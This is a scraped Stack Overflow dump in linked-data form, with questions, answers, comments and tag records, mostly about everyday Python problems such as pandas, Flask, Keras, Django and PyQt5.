has body: I found this site on adding formatting to excel columns: http://xlsxwriter.readthedocs.io/example_pandas_column_formats.html Basically, you need to define some formats like so: format1 = workbook.add_format({'num_format': '#,##0.00'}) format2 = workbook.add_format({'num_format': '0%'}) and then assign the formats to certain columns like so: worksheet.set_column('B:B', 18, format1) worksheet.set_column('C:C', None, format2)
downvote count: 0

http://stackoverflow.com/comment/81661143
type: QuestionComment
score: 0
has text: You need to decide on a rule for which elements to put in the same dictionary inside the list.
comment on: http://stackoverflow.com/q/47354380
type: Comment

http://stackoverflow.com/comment/81551749
comment on: http://stackoverflow.com/a/47300277
score: 0
type: Comment
has text: I also think so .
type: AnswerComment

http://stackoverflow.com/q/47235597
has title: Flashing 500 Internal Server Error to screen Flask with Python
tagged with: python
tagged with: flask
has answer: http://stackoverflow.com/a/47236119
accepted answer: http://stackoverflow.com/a/47236119
type: AnsweredQuestion
score: 0
answer count: 2
has body: simple question I hope... I am getting 500 Internal Errors when developing and want to flash them to the browser screen for easier turn around time. Whats the easiest way to do this with Flask with Python? Thanks.
type: Question
possible better answer: http://stackoverflow.com/a/47235883
has answer: http://stackoverflow.com/a/47235883

http://stackoverflow.com/comment/81543625
comment on: http://stackoverflow.com/q/47293499
type: Comment
type: QuestionComment
score: 0
has text: Well, you have two different sets of objects interacting with two different canvases, so you'll need a single canvas if you expect these to interact. The `on_pick` event only moves a single artist, so you'll need to modify it to move all artists that have been selected.

ibm-watson
tags question: http://stackoverflow.com/q/47335778
tag name: ibm-watson
type: Tag

http://stackoverflow.com/comment/81405828
comment on: http://stackoverflow.com/q/47227654
type: QuestionComment
has text: @alfasin: Sounds like you dropped the verbose flag.
type: Comment
score: 0

http://stackoverflow.com/a/47294182
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47232250
has body: In the end I had to unistall it and install it again from the beginning without importing the settings. Should have a been a problem with the installation.
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/47232250

http://stackoverflow.com/comment/81533012
has text: Do you get any errors ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47291216

http://stackoverflow.com/a/47224295
answers question: http://stackoverflow.com/q/47224207
has comment: http://stackoverflow.com/comment/81398869
type: AcceptedAnswer
type: Answer
has body: Looks like you are behind a proxy Try pip install --proxy domain\user:password@proxyaddress:port pandas
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81398828
accepted answer of: http://stackoverflow.com/q/47224207
has comment: http://stackoverflow.com/comment/81398605

http://stackoverflow.com/comment/81608026
type: QuestionComment
score: 2
has text: If you get error messages (from logs?), please include verbatim in your question. What is the most basic operation of each extension you tried, and what exactly happened?
comment on: http://stackoverflow.com/q/47328170
type: Comment

http://stackoverflow.com/comment/81608952
type: QuestionComment
comment on: http://stackoverflow.com/q/47327946
score: 0
has text: Use `P(?![RK])|(?<!P)K` regex
type: Comment

firefox
type: Tag
tag name: firefox
tags question: http://stackoverflow.com/q/47238165
tags question: http://stackoverflow.com/q/47353143
tags question: http://stackoverflow.com/q/47263032

http://stackoverflow.com/q/47239616
upvote count: 1
score: 1
tagged with: python
has body: I'm trying to work through the following tutorial (see here: https://www.alanzucconi.com/2015/11/01/interactive-graphs-in-the-browser/). However, when I try to import http_server I get the following error: "ModuleNotFoundError: No module named 'http_server'". All other modules import just fine. My Networkx version is 1.11 (installed by Anaconda). I'm trying to convert a given graph from a matplotlib graph into a JSON graph. Here are my import codes: import networkx as nx import json from networkx.readwrite import json_graph import http_server And here's the error message: "PS C:\Users\ ...\csv> python server.py Traceback (most recent call last): File "server.py", line 4, in import http_server ModuleNotFoundError: No module named 'http_server'"
has comment: http://stackoverflow.com/comment/81429602
has answer: http://stackoverflow.com/a/47249571
has title: "No module named 'http_server'" when trying to import http_server in networkx
favorite count: 0
type: Question
tagged with: graph
downvote count: 0
has comment: http://stackoverflow.com/comment/81429518
answer count: 1
tagged with: http
accepted answer: http://stackoverflow.com/a/47249571
tagged with: networkx
type: AnsweredQuestion
tagged with: server

http://stackoverflow.com/a/47247727
has body: Use a logical and: if sys.argv[1] == 'True' and sys.argv[2] == 'True': print("cold and rainy)
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81445673
downvote count: 1
has comment: http://stackoverflow.com/comment/81445651
answers question: http://stackoverflow.com/q/47247700
upvote count: 0

http://stackoverflow.com/comment/81623846
type: QuestionComment
score: 0
has text: @glibdud, you are right. Thanks a lot.
comment on: http://stackoverflow.com/q/47335928
type: Comment

http://stackoverflow.com/comment/81716071
score: 0
type: AnswerComment
has text: Hi Elis, I've changed the open file type to write (w) which does write to the file but doesn't seem to be able to read it without producing the following error: Traceback (most recent call last): File "terminaldump", line 25, in <module> print(file) ValueError: I/O operation on closed file. The second part of the code fails as it says the file has already been closed, however there's no way to read the file after writing to it without the close method. Thanks
comment on: http://stackoverflow.com/a/47376812
type: Comment

google-calendar-api
tags question: http://stackoverflow.com/q/47261578
type: Tag
tag name: google-calendar-api

http://stackoverflow.com/a/47281400
upvote count: 6
type: Answer
score: 6
downvote count: 0
type: AcceptedAnswer
has body: I assume you're talking about this notebook. I looked at the code and the scores array indicate the confidence level for each detected box. The class of each box is in the classes variable (detection_classes:0 tensor). This line runs the input through the network: (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) In order to print the class along with the scores you can: for class, score in zip(classes, scores): print(class, ':', score) The descriptions of categories used in the notebook are here (mscoco labels).
answers question: http://stackoverflow.com/q/47279687
accepted answer of: http://stackoverflow.com/q/47279687

http://stackoverflow.com/q/47226373
has answer: http://stackoverflow.com/a/79499842
tagged with: python
has answer: http://stackoverflow.com/a/47234397
score: 0
tagged with: turtle-graphics
answer count: 3
has title: Use onkey() to do multiple functions with Python turtle
has answer: http://stackoverflow.com/a/54600244
has comment: http://stackoverflow.com/comment/81402951
tagged with: keyboard
type: Question
has body: I'm trying to write a basic turtle drawing game/program and I've been using onkey(function, "key") to have the user input keystrokes. Well I wanted the user to be able to change the width of the pen by either hitting the up key to increase the width by one, or the down key to decrease the width by one. I know I need some kind of loop, but I don't really know where to implement it.
type: UnansweredQuestion

http://stackoverflow.com/comment/81550911
comment on: http://stackoverflow.com/a/47299543
score: 0
type: AnswerComment
has text: @NikitaGupta even better than me way , learn it from you , thank you for sharing
type: Comment

http://stackoverflow.com/comment/81548002
comment on: http://stackoverflow.com/q/47298230
type: Comment
type: QuestionComment
has text: A `return` statement exits the current function, including any nested constructs within which the `return` appears.
score: 0

http://stackoverflow.com/comment/81717846
type: Comment
comment on: http://stackoverflow.com/q/47381898
type: QuestionComment
score: 0
has text: You've already asked a couple questions about highlighting words in a text widget. How is this question different? You've been shown how to highlight a word when clicked, so what problem are you having in getting that word and adding it to a list?

http://stackoverflow.com/q/47354889
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has body: I am running python 3.6 on Windows 10 (both 64 bit) with a fast SSD, 32GB RAM and a very fast processor (AMD Threadripper). I also get similar results running on an Intel i7. I am opening XML text files about 5MB in size and noticed very slow performance even using lxml. I boiled the problem down to disk read performance. If I load as binary, it is over 8x faster. The following tests were performed with the file already in disk cache. The disk was never hit during these runs. Similar results were obtained with a cold read. %%timeit with open(xmlpath + fn, 'rb') as f: r = f.read() 1.66 ms ± 31.3 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each) %%timeit with open(xmlpath + fn, 'r', encoding='UTF-8') as f: r = f.read() 13.7 ms ± 32.8 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) I understand the encoding has to be processed for the text version, but 8x slower seems excessive running on a fast processor. Also, 1.6ms seems slow to me to read such a small file already in cache. Disk performance measured with Passmark is as expected at > 2GB/s. Any advice/suggestions would be appreciated. Thanks.
has title: Python on Windows. Why is reading text 8x slower than binary?
score: 2
has answer: http://stackoverflow.com/a/47354974
tagged with: performance
downvote count: 0
tagged with: windows
answer count: 1

http://stackoverflow.com/comment/81661177
type: QuestionComment
comment on: http://stackoverflow.com/q/47354302
score: 0
has text: I disagree. It is a duplicate - please mark it as so if you agree... if you feel like the original post with all of the answers can be made more concise, feel free to suggest an edit to the question.
type: Comment

http://stackoverflow.com/q/47243240
has title: splicing between sequence of two defined boundaries
type: UnansweredQuestion
score: -2
has answer: http://stackoverflow.com/a/47243998
answer count: 1
has comment: http://stackoverflow.com/comment/81442825
tagged with: python
tagged with: string
has body: I have created a function that takes in four strings. The first two strings will be long strings that can be anything. The last two strings will be referred to as boundaries. I want to take everything in string1 between the defined boundaries and replace everything in string2 between the defined boundaries. The part of the string taken away from string 1 will be removed and the part replaced in string 2 will be removed. An example of this function is below: def bound('DOGYOMAMA','ROOGMEMAD', 'OG' 'MA') --&gt; RETURNS('DMA','ROOGYOMAD', 'OG', 'MA') This is the function I have created to do what I wrote above def bound(st,sz,a,b): s1=''.join(st) s2=''.join(sz) if a in s1 and b in s1 and a in s2 and b in s2: f1=s1.find(a) l1=s1.find(b) f2=s2.find(a) l2=s2.find(b) blen1 = len(b) blen2 = len(b) s1_n = s1[:f1] +s1[l1+blen1:] s2_n = s2[:f2] + s1[f1:l1 + blen1] +s2[l2+blen2] return s1_n, s2_n, a, b print(bound('DOGYOMAMA','ROOGMEMAD', 'OG','MA')) My problem is that I also need to make it so this will work in reverse so if I have ('DOGYOMAMA','ROOGMEMAD', 'OG' 'MA') it should also look for ('AMAMOYGOD','DAMEMGOOR', 'GO' 'AM'). Another thing would be if the string can be spliced both ways it will take only the sequence that is spliced at the lowest index.
downvote count: 2
tagged with: loops
favorite count: 0
type: Question
upvote count: 0

http://stackoverflow.com/q/47270771
has comment: http://stackoverflow.com/comment/81498291
has comment: http://stackoverflow.com/comment/81498115
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81498237
has comment: http://stackoverflow.com/comment/81492905
tagged with: count
tagged with: python
has comment: http://stackoverflow.com/comment/81498328
has comment: http://stackoverflow.com/comment/81492486
score: 0
has comment: http://stackoverflow.com/comment/81492935
has answer: http://stackoverflow.com/a/47271603
answer count: 2
has comment: http://stackoverflow.com/comment/81499161
has comment: http://stackoverflow.com/comment/81492515
has title: Counting choice streaks in Python
has answer: http://stackoverflow.com/a/47273007
has body: I have a dataset that looks like the following: Subject | Session | Trial | Choice --------+---------+-------+------- 1 | 1 | 1 | A 1 | 1 | 2 | B 1 | 1 | 3 | B 1 | 1 | 4 | B 1 | 1 | 5 | B 1 | 1 | 6 | A 2 | 1 | 1 | A 2 | 1 | 2 | A 2 | 1 | 3 | A I would like to use a Python script to generate the following table: Subject | Session | streak_count --------+---------+------------- 1 | 1 | 3 2 | 1 | 1 Where streak_count is a count of the total number of choice streaks made by a given subject during a given session, and a streak is any number of choices of one particular item in a row (&gt;0). I've tried using some of the suggestions to similar questions here, but I'm having trouble figuring out how to count these instances, rather than measure their length, etc., which seem to be more common queries.
type: Question

http://stackoverflow.com/comment/81545020
has text: Thanks! I'll check it out.
type: QuestionComment
comment on: http://stackoverflow.com/q/47296713
type: Comment
score: 0

ubuntu
tags question: http://stackoverflow.com/q/47271448
tags question: http://stackoverflow.com/q/47232260
tags question: http://stackoverflow.com/q/47334439
tags question: http://stackoverflow.com/q/47265611
tags question: http://stackoverflow.com/q/47373827
tag name: ubuntu
tags question: http://stackoverflow.com/q/47325949
tags question: http://stackoverflow.com/q/47318227
tags question: http://stackoverflow.com/q/47327931
tags question: http://stackoverflow.com/q/47323828
tags question: http://stackoverflow.com/q/47354626
tags question: http://stackoverflow.com/q/47286678
tags question: http://stackoverflow.com/q/47246711
type: Tag
tags question: http://stackoverflow.com/q/47273820
tags question: http://stackoverflow.com/q/47302571
tags question: http://stackoverflow.com/q/47237098

http://stackoverflow.com/comment/81633906
comment on: http://stackoverflow.com/q/47340823
has text: `open` will create a *new file* with the given name, it won't rename your file. You should look at [`os.rename`](https://stackoverflow.com/questions/2759067/rename-multiple-files-in-a-directory-in-python), you just need a small tweak from what you've got at the moment.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81454073
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47250613
has text: @Pointy I edited the code. Is that what you mean by issuing an ajax request to set up the Python code?

http://stackoverflow.com/q/47342619
answer count: 1
downvote count: 0
has body: I have a virtual environment set up inside bash for Windows (Ubuntu) and VS Code installed (Windows). The Python project runs well inside the venv in bash but I would like to now debug it through Visual Code. I'm trying to set the python.pythonPath as follows inside settings.json { "python.pythonPath": "C:\\repos\\myrepo\\venv\\bin\\python" } The error returned is "Please validate the path ..." Note that through bash for Windows, the filesystem is accessible through /mnt/c/ As for the auto-detection of Python, it only lists the python.exe installed on the windows filesystem (which is of no use to me). https://code.visualstudio.com/docs/python/environments explains that doing this should be sufficient but doesn't seem to work.
favorite count: 0
type: Question
tagged with: virtual-environment
has title: Configure Python Path in Visual Studio Code with venv running from bash on Windows
tagged with: python
has answer: http://stackoverflow.com/a/47643492
tagged with: windows-subsystem-for-linux
tagged with: visual-studio-code
upvote count: 2
score: 2
type: UnansweredQuestion

http://stackoverflow.com/q/47259400
accepted answer: http://stackoverflow.com/a/47259720
answer count: 1
type: Question
tagged with: readlines
tagged with: function
tagged with: python
type: AnsweredQuestion
has body: My program is supposed to take a text file, print the contents, count the lines, ask for a string input, remove every occurrence of that string, say how many times the string was removed, and then output the new contents of the file. We were asked to use one file, not an input and an output file. My code works and does everything it's supposed to up until I try to store the changes in the file at the end of the char_count function and the print_output function seems to not be working right at all. If I have an input file of contents: Apples Oranges Bananas Apples Oranges Bananas if I try to remove Bananas, the resulting file contents for the input file is: ApplesOrangesApplesOrangesles Oranges Bananas I've been trying to figure out what's going on with no progress, and our course textbook doesn't seem to mention overwriting input files, but we're required to do it for an assignment. What is wrong with my last two functions? def main(): input_file_name = input("Please Enter the name of your text file: ") infile = open(input_file_name, "r+") print() print("---------------------------------------") print("THE FILE CONTENTS ARE") print("---------------------------------------") print_file(infile) print("---------------------------------------") count_lines(infile) print("---------------------------------------") input_string = input("Please enter the word or string of words you want to remove from the text file: ") print("---------------------------------------") char_count(infile, input_string) print("---------------------------------------") print("THE NEW FILE CONTENTS ARE") print_output(infile) print("---------------------------------------") infile.close() def print_file(infile): infile.seek(0) allLines = infile.readlines() for line in allLines: text = line.rstrip() print(text) def count_lines(infile): infile.seek(0) allLines = infile.readlines() count = 0 char = " " for line in allLines : text = line.rstrip() while char != "": char = infile.read(1) count = count +…
has title: Not overwriting text file properly (Python)
score: 0
has answer: http://stackoverflow.com/a/47259720

http://stackoverflow.com/a/47276642
type: Answer
has comment: http://stackoverflow.com/comment/81506603
score: 0
answers question: http://stackoverflow.com/q/47276227
has body: You have an issue with how you're looping over the directories and opening the files. os.walk yields for each directory walked a tuple of (root_dir, directories, files) where directories is a tuple of directory names that are found in root_dir and files is a tuple of file names found in root_dir In your code you have the following: for files in os.walk(directory): for file in files: if file.endswith(".csv"): f = open(file, 'r') reader = csv.reader(f) This would not do what you probably think it does and will undoubtedly result in an AttributeError because files in for files in os.walk(...) will always have two tuples in it and tuples do not have a .endswith method. Furthermore, when you correctly loop over files provided by os.walk -- they are just file names. You have to join the path with the root directory. To fix, you should modify this as follows.... for root, dirs, files in os.walk(directory): for filename in files: if filename.endswith(".csv"): file_path = os.path.join(root, filename) with open(file_path) as f: reader = csv.reader(f) Notice that this unpacks the tuples yielded by os.walk into root, dirs, files now files is actually a list of file names. Additionally, os.path.join(root, filename) is used to create the full path to the file from the name. Also note I modified this to use the with open(...) context manager. Code under this block executes with the file opened and once the block ends the file will be closed for you.

http://stackoverflow.com/q/47346615
type: Question
upvote count: 2
tagged with: sobel
has body: I am new to DL and Keras and currently I am trying to implement a sobel-filter-based custom loss function in Keras. The idea is to calculate the mean squared loss of a sobel filtered prediction and a sobel filtered ground truth image. So far, my custom loss function looks like this: from scipy import ndimage def mse_sobel(y_true, y_pred): for i in range (0, y_true.shape[0]): dx_true = ndimage.sobel(y_true[i,:,:,:], 1) dy_true = ndimage.sobel(y_true[i,:,:,:], 2) mag_true[i,:,:,:] = np.hypot(dx_true, dy_true) mag_true[i,:,:,:] *= 1.0 / np.max(mag_true[i,:,:,:]) dx_pred = ndimage.sobel(y_pred[i,:,:,:], 1) dy_pred = ndimage.sobel(y_pred[i,:,:,:], 2) mag_pred[i,:,:,:] = np.hypot(dx_pred, dy_pred) mag_pred[i,:,:,:] *= 1.0 / np.max(mag_pred[i,:,:,:]) return(K.mean(K.square(mag_pred - mag_true), axis=-1)) Using this loss function leads to this error: in mse_sobel for i in range (0, y_true.shape[0]): TypeError: __index__ returned non-int (type NoneType) Using the debugger I found out, that y_true.shape only returns None - fine. But when I replace y_true.shape with for example 1 such that it looks like this for i in range (0,1):, another error occurs: in sobel axis = _ni_support._check_axis(axis, input.ndim) in _check_axis raise ValueError('invalid axis') ValueError: invalid axis Here, I am not sure about why the axis seems to be invalid? Can anyone help me figure out how to implement that loss function? Thank you very much for your help!
tagged with: python
has title: How to implement custom sobel-filter-based loss function using Keras
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47350105
has answer: http://stackoverflow.com/a/47350105
answer count: 1
downvote count: 0
tagged with: keras
tagged with: scipy
favorite count: 0

http://stackoverflow.com/q/47338679
tagged with: django
upvote count: 1
tagged with: python
favorite count: 0
has title: how to access database model fields of parent model linked as e.g. Class->School->User?
type: AnsweredQuestion
tagged with: foreign-keys
tagged with: models
answer count: 1
score: 1
type: Question
has body: I am fairly new to programming languages, django and database models. So my question is simple I have 3 models in models.py as class UserProfileInfo(models.Model): # create relationship with built-in user in admin user = models.OneToOneField(User) portfolio_site = models.URLField(blank=True) class School(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) name = models.CharField(max_length=256) principal = models.CharField(max_length=256) location = models.CharField(max_length=256) class Classroom(models.Model): school = models.ForeignKey(School, on_delete=models.CASCADE) class_name = models.CharField(max_length=256) desc = models.CharField(max_length=256) And I want to access 'id' from User model. I have tried using def ClassroomView(request): classroom_list = Classroom.objects\ .filter(school__id=request.session.get('user_id','0'))\ .filter(user__id=1).values() class_dict = {'class_records': classroom_list} return render(request, 'basic_app/classroom_list.html', context=class_dict) And it gives the following error: FieldError at /basic_app/class/ Cannot resolve keyword 'user' into field. Choices are: class_name, desc, id, school, school_id Is there any way that i can access the fields of User model from Classroom model since it is linked by foreign key as Classroom->School->User Please tell me if I am doing something wrong here any insights and solutions are appreciated!!
accepted answer: http://stackoverflow.com/a/47339036
has answer: http://stackoverflow.com/a/47339036
downvote count: 0

http://stackoverflow.com/comment/81489810
type: Comment
type: AnswerComment
has text: I am sorry for confusion Dr. sascha, here in this question i am learning a way to use numpy/scipy to do this task and sklearn is too advanced and out of the blackbox.
comment on: http://stackoverflow.com/a/47269328
score: 0

http://stackoverflow.com/comment/81464482
has text: @eyllanesc Oh, I forgot to save my edit earlier, now I provided a little bit more details of what the problem is.
comment on: http://stackoverflow.com/q/47256606
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47282591
tagged with: floating-point
has comment: http://stackoverflow.com/comment/126785286
favorite count: 0
type: Question
has title: How to format float to 4 decimal places within json dumps?
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has body: Have difficulty in converting pf_stats output to have 4 decimal places: import json import numpy as np def run_simulation(H, P, B, C, mu, sigma, T, L): x = normal(mu, sigma, (L, T)) pf_all = [] for xs in x: pf = calc(xs, H, P, B, C) pf_all.append(pf) pf_means = np.mean(pf_all, axis=1) funcs = [np.average, np.median, np.min, np.max] func_names = ["Average", "Median", "Min", "Max"] pf_stats= [f(pf_means) for f in funcs] return json.dumps({ 'functions' : func_names, 'pf_stats' : pf_stats })
score: 4
upvote count: 4
tagged with: decimal
answer count: 0
has comment: http://stackoverflow.com/comment/81516838
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/q/47312040
favorite count: 0
type: AnsweredQuestion
tagged with: data-analysis
downvote count: 0
tagged with: pandas
tagged with: dataframe
tagged with: python
has title: Python/Pandas - remove not duplicated rows
upvote count: 4
answer count: 4
type: Question
possible better answer: http://stackoverflow.com/a/47312190
has answer: http://stackoverflow.com/a/47312190
has answer: http://stackoverflow.com/a/47312302
has body: I have DataFrame like this: product_id dt stock_qty 226870 2948259 2017-11-11 17.000 233645 2948259 2017-11-12 17.000 240572 2948260 2017-11-13 5.000 247452 2948260 2017-11-14 5.000 233644 2948260 2017-11-12 5.000 226869 2948260 2017-11-11 5.000 247451 2948262 2017-11-14 -2.000 226868 2948262 2017-11-11 -1.000 &lt;- not duplicated 240571 2948262 2017-11-13 -2.000 240570 2948264 2017-11-13 5.488 233643 2948264 2017-11-12 5.488 244543 2948269 2017-11-11 2.500 247450 2948276 2017-11-14 3.250 226867 2948276 2017-11-11 3.250 I have to remove rows where stock_qty are different but product_id values are the same. So I should get DataFrame like this: product_id dt stock_qty 226870 2948259 2017-11-11 17.000 233645 2948259 2017-11-12 17.000 240572 2948260 2017-11-13 5.000 247452 2948260 2017-11-14 5.000 233644 2948260 2017-11-12 5.000 226869 2948260 2017-11-11 5.000 240570 2948264 2017-11-13 5.488 233643 2948264 2017-11-12 5.488 244543 2948269 2017-11-11 2.500 247450 2948276 2017-11-14 3.250 226867 2948276 2017-11-11 3.250 Thanks for help!
score: 4
has answer: http://stackoverflow.com/a/47312102
has answer: http://stackoverflow.com/a/68456070
accepted answer: http://stackoverflow.com/a/47312102

android
tags question: http://stackoverflow.com/q/47362161
tags question: http://stackoverflow.com/q/47377380
tags question: http://stackoverflow.com/q/47272567
tags question: http://stackoverflow.com/q/47269230
tags question: http://stackoverflow.com/q/47280440
tags question: http://stackoverflow.com/q/47329124
tags question: http://stackoverflow.com/q/47320176
tags question: http://stackoverflow.com/q/47334731
tags question: http://stackoverflow.com/q/47248297
tags question: http://stackoverflow.com/q/47263501
tags question: http://stackoverflow.com/q/47300973
tag name: android
type: Tag

http://stackoverflow.com/a/47261010
upvote count: 1
has body: Increment the required index by 1 after every insert original_list = [0, 1, 2, 3, 4, 5, 6, 7] insertion_indices = [1, 4, 5] new_numbers = [8, 9, 10] for i in range(len(insertion_indices)): original_list.insert(insertion_indices[i]+i,new_numbers[i]) print(original_list) Output [0, 8, 1, 2, 3, 9, 4, 10, 5, 6, 7] #Required list [0, 8, 1, 2, 3, 9, 4, 10, 5, 6, 7]
answers question: http://stackoverflow.com/q/47260809
type: Answer
score: 1
downvote count: 0

mechanicalsoup
tag name: mechanicalsoup
tags question: http://stackoverflow.com/q/47314776
type: Tag

http://stackoverflow.com/q/47319526
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/47319738
tagged with: dataframe
tagged with: python
favorite count: 0
has body: I'm using the pandas library to make a simple program. First of all I have a .csv file called small.csv, which contains the following structure. 1,4.0,?,?,none,? 2,2.0,3.0,?,none,38 2,2.5,2.5,?,tc,39 On my main function I have the following code: def main(): # my code here fname = "/home/sergio/PycharmProjects/practica2/small.csv" sep = "," vars = ["x1", "x2", "x3", "x4", "x5", "x6"] na_values = ["?", "none"] prefix = "col_" df = da.load_data(fname, delimiter=sep, nan=na_values, header=False, pref=prefix) print df The explanation of the main function is the following, depending on the parameters that I pass to the load_data function, you will have to load the data from my .csv file in one way or another. These are the possible arguments and the function that they develop: inputFile: The name of the csv file that contains the data. delimiter: The character that delimits the data. By default the function must use the comma character (","). nan: A list of Strings that will be treated as missing values. Any occurrence in the input file of one of the strings in this list will be interpreted as NaN . The default value will be None. header: A Boolean flag that will indicate if the file contains a header ( True ) or if not ( False ). By default it must be True . varNames: A list of * Strings * that will be used as variable names only in the case where header is valid False . The default value will be None . pref: A string that will be used as a prefix for the names of the variables only in the case where header is valid False and the list has not been defined * varNames . For example, if pref = "x", the names of the variables will be "x0", "x1", "x2", etc. The default value will be "var_". My load_data function: def load_data(inputFile, delimiter=",", nan=None, header=True, varNames=None, pref="var_"): data = DataFrame() if header == False: if not varNames: print "header=false and varNames not defined" data = pd.read_csv(inputFile, sep=delimiter, na_values=nan, prefix=pref,…
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/47319738
answer count: 1
has comment: http://stackoverflow.com/comment/81590477
has comment: http://stackoverflow.com/comment/81590397
has title: Dataframe and read_csv function - Python
has comment: http://stackoverflow.com/comment/81590598
type: AnsweredQuestion
upvote count: 3
score: 3
tagged with: pandas

http://stackoverflow.com/comment/81428331
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47239000
type: Comment
has text: Just updated the code thanks,I run it in the shell to test ! yes its in the same class !

http://stackoverflow.com/q/47240737
duplicate of: http://stackoverflow.com/q/2709821
linked to: http://stackoverflow.com/q/17874744
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81431772
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81431759
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81432014
type: UnansweredQuestion
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47240755
has title: Function takes 2 arguments, but 3 are given?
has body: I'm very new to python 3 (and programming in general), and I'm having some issues understanding why this is happening. class calculator: def addition(x, y): added = x + y print(added) def subtraction(x, y): sub = x - y print(sub) def multiplication(x, y): mult = x * y print(mult) def division(x, y): div = x / y print(div) calc = calculator() calc.multiplication(3,5) I'm getting the issue this issue: Traceback (most recent call last): File "/Users/JordanM/Desktop/PythonFiles/Calculator.py", line 20, in &lt;module&gt; calc.multiplication(3,5) TypeError: multiplication() takes exactly 2 arguments (3 given) Can anyone give some insight as to why this is happening? Is there a better way to do this that works?

http://stackoverflow.com/a/47381312
has body: os.system blocks, so each thread you spawn is going to block the parent thread until execution is done (which, in the case of your java Server call, probably means it will never exit). A simple way to get around this is to use the subprocess module (which is recommended for executing stuff you'd use os.system for). import subprocess commands = [ 'java Server 2', 'java Client 0 2', 'java Client 1 2' ] # using subprocess.Popen will run sub-processes in parallel java_procs = [subprocess.Popen(command, shell=True) for command in commands] # now wait for the processes to finish? for p in java_procs: p.wait() If you need more serious multiprocessing/parallel process execution, the multiprocessing module is usually a better recommendation.
type: Answer
has comment: http://stackoverflow.com/comment/81716258
has comment: http://stackoverflow.com/comment/81716197
answers question: http://stackoverflow.com/q/47381186
score: 0

http://stackoverflow.com/a/47342469
score: 16
has comment: http://stackoverflow.com/comment/104264772
answers question: http://stackoverflow.com/q/47342158
upvote count: 16
type: Answer
accepted answer of: http://stackoverflow.com/q/47342158
downvote count: 0
has body: Below is a PyQt5 port of the QRangeSlider widget. For the sake of brevity, I have removed all comments, doc-strings, assert statements, etc. It seems to work okay with both Python 2 and Python 3, but I haven't really tested it much. qrangeslider.py: import sys, os from PyQt5 import QtCore, QtGui, QtWidgets __all__ = ['QRangeSlider'] DEFAULT_CSS = """ QRangeSlider * { border: 0px; padding: 0px; } QRangeSlider #Head { background: #222; } QRangeSlider #Span { background: #393; } QRangeSlider #Span:active { background: #282; } QRangeSlider #Tail { background: #222; } QRangeSlider > QSplitter::handle { background: #393; } QRangeSlider > QSplitter::handle:vertical { height: 4px; } QRangeSlider > QSplitter::handle:pressed { background: #ca5; } """ def scale(val, src, dst): return int(((val - src[0]) / float(src[1]-src[0])) * (dst[1]-dst[0]) + dst[0]) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName("QRangeSlider") Form.resize(300, 30) Form.setStyleSheet(DEFAULT_CSS) self.gridLayout = QtWidgets.QGridLayout(Form) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self._splitter = QtWidgets.QSplitter(Form) self._splitter.setMinimumSize(QtCore.QSize(0, 0)) self._splitter.setMaximumSize(QtCore.QSize(16777215, 16777215)) self._splitter.setOrientation(QtCore.Qt.Horizontal) self._splitter.setObjectName("splitter") self._head = QtWidgets.QGroupBox(self._splitter) self._head.setTitle("") self._head.setObjectName("Head") self._handle = QtWidgets.QGroupBox(self._splitter) self._handle.setTitle("") self._handle.setObjectName("Span") self._tail = QtWidgets.QGroupBox(self._splitter) self._tail.setTitle("") self._tail.setObjectName("Tail") self.gridLayout.addWidget(self._splitter, 0, 0, 1, 1) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): _translate = QtCore.QCoreApplication.translate Form.setWindowTitle(_translate("QRangeSlider", "QRangeSlider")) cl…
type: AcceptedAnswer

http://stackoverflow.com/comment/81465293
comment on: http://stackoverflow.com/a/47255964
type: Comment
score: 0
has text: @pyd Sorry? Am I missing something?
type: AnswerComment

http://stackoverflow.com/a/47361917
upvote count: 1
answers question: http://stackoverflow.com/q/47361865
type: Answer
score: 1
has body: By using pivot+reindex df.pivot('movieId','userId',values='rating').reindex(columns=list(range(1,11))).fillna(0) Out[219]: userId 1 2 3 4 5 6 7 8 9 10 movieId 1 1.0 4.5 0.0 0.0 5.0 0.0 0.0 5.0 0.0 5.0 2 2.0 0.0 4.5 0.0 5.0 3.0 0.0 4.0 0.0 0.0 For build the dict add .T.to_dict('list') at the end df.pivot('movieId','userId',values='rating').reindex(columns=list(range(1,11))).fillna(0).T.to_dict('list') Out[223]: {1: [1.0, 4.5, 0.0, 0.0, 5.0, 0.0, 0.0, 5.0, 0.0, 5.0], 2: [2.0, 0.0, 4.5, 0.0, 5.0, 3.0, 0.0, 4.0, 0.0, 0.0]}
downvote count: 0

http://stackoverflow.com/a/47275862
has comment: http://stackoverflow.com/comment/81503531
score: 1
answers question: http://stackoverflow.com/q/47275828
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/81503548
has comment: http://stackoverflow.com/comment/81503096
